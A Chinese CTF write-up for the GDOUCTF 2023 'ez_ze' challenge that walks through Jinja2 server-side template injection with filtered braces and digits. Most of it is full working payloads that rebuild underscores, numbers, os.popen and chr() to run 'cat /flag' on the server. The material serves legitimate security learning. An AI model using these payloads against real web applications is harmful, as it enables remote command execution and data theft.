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[GDOUCTF 2023]＜ez_ze＞ SSTI 过滤数字大括号{等

news 来源：原创 2024/4/29 4:47:14

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过（ctfshow web入门370）-CSDN博客

ssti板块注入

正好不会 {%%}的内容学习一下

经过测试发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}解释一下 如果条件里为真 就输出 result 否则不输出修改一下
{%if not a%}yes{%endif%}第二种{%print 123%}通过输出123来判断

存在咯

这里跟着师傅的wp走他那边过滤了数字我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。

{%set pop=dict(pop=a)|join%}

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}然后我们数 可以发现 _ 在24 所以我们索引即可{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

过滤了改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

成功获取咯

获取chr

首先要获取builtins


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

确实学到了但是这个太麻烦了这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   {% set kong=(lipsum|string|list)|attr(pop)(9) %}{% set xhx=(lipsum|string|list)|attr(pop)(18) %}{% set re=(config|string|list)|attr(pop)(239) %}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}{% set o=dict(o=a,s=b)|join %}{% set po=dict(pop=a,en=b)|join %}{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}这里原型是lipsum.__globals__.getitem[os].popen(cat flag).read()类似于这种

真是一个恐怖的ssti